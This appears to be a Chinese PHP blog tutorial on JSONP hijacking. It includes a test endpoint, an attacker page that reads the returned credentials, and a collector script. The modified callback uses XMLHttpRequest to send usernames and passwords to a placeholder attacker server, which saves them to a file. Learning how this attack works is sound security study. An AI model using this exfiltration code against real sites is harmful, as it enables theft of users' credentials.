Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
php中flush()、ob_flush()、ob_end_flush()的区别介绍
Feb 17 PHP
php打开文件fopen函数的使用说明
Jul 05 PHP
php基于表单密码验证与HTTP验证用法实例
Jan 06 PHP
php去除头尾空格的2种方法
Mar 16 PHP
php使用cookie实现记住登录状态
Apr 27 PHP
php封装的连接Mysql类及用法分析
Dec 10 PHP
通过PHP自带的服务器来查看正则匹配结果的方法
Dec 24 PHP
php使用ftp远程上传文件类(完美解决主从文件同步问题的方法)
Sep 23 PHP
微信公众号开发客服接口实例代码
Oct 21 PHP
PHP实现动态添加XML中数据的方法
Mar 30 PHP
laravel-admin select框默认选中的方法
Oct 03 PHP
PHP二维数组分页2种实现方法解析
Jul 09 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
浅谈PHP中Stream(流)
2015/06/08 PHP
php的socket编程详解
2016/11/20 PHP
iis6手工创建网站后无法运行php脚本的解决方法
2017/06/08 PHP
laravel 解决Eloquent ORM的save方法无法插入数据的问题
2019/10/21 PHP
无语,javascript居然支持中文(unicode)编程!
2007/04/12 Javascript
Prototype Object对象 学习
2009/07/12 Javascript
10个实用的脚本代码工具
2010/05/04 Javascript
javascript 函数调用的对象和方法
2010/07/01 Javascript
nodejs的require模块(文件模块/核心模块)及路径介绍
2013/01/14 NodeJs
javascript中创建对象的几种方法总结
2013/11/01 Javascript
jQuery的几个我们必须了解的特点
2015/05/03 Javascript
Underscore.js 1.3.3 中文注释翻译说明
2015/06/25 Javascript
微信小程序 石头剪刀布实例代码
2017/01/04 Javascript
JavaScript中Promise的使用详解
2017/02/26 Javascript
JavaScript实现音乐自动切换和轮播
2017/11/05 Javascript
Vue中 v-if/v-show/插值表达式导致闪现的原因及解决办法
2018/10/12 Javascript
你了解vue3.0响应式数据怎么实现吗
2019/06/07 Javascript
vue 兄弟组件的信息传递的方法实例详解
2019/08/30 Javascript
基于Vue的商品主图放大镜方案详解
2019/09/19 Javascript
谈谈JavaScript中的函数
2020/09/08 Javascript
[41:08]TNC vs VG 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
[54:58]完美世界DOTA2联赛PWL S2 LBZS vs Rebirth 第一场 11.25
2020/11/25 DOTA
python执行外部程序的常用方法小结
2015/03/21 Python
Python匹配中文的正则表达式
2016/05/11 Python
浅谈Python数据类型判断及列表脚本操作
2016/11/04 Python
Django实战之用户认证(初始配置)
2018/07/16 Python
Windows下Anaconda和PyCharm的安装与使用详解
2020/04/23 Python
前端面试必备之html5的新特性
2017/09/05 HTML / CSS
英国时尚女装购物网站:Missguided
2018/08/23 全球购物
办公室文员工作职责
2014/01/31 职场文书
中职三好学生事迹材料
2014/08/24 职场文书
2015年惩防体系建设工作总结
2015/05/22 职场文书
开学随笔
2015/08/15 职场文书
大学生安全教育心得体会
2016/01/15 职场文书
html5调用摄像头截图功能
2022/01/18 Javascript
详解OpenCV曝光融合
2022/04/29 Python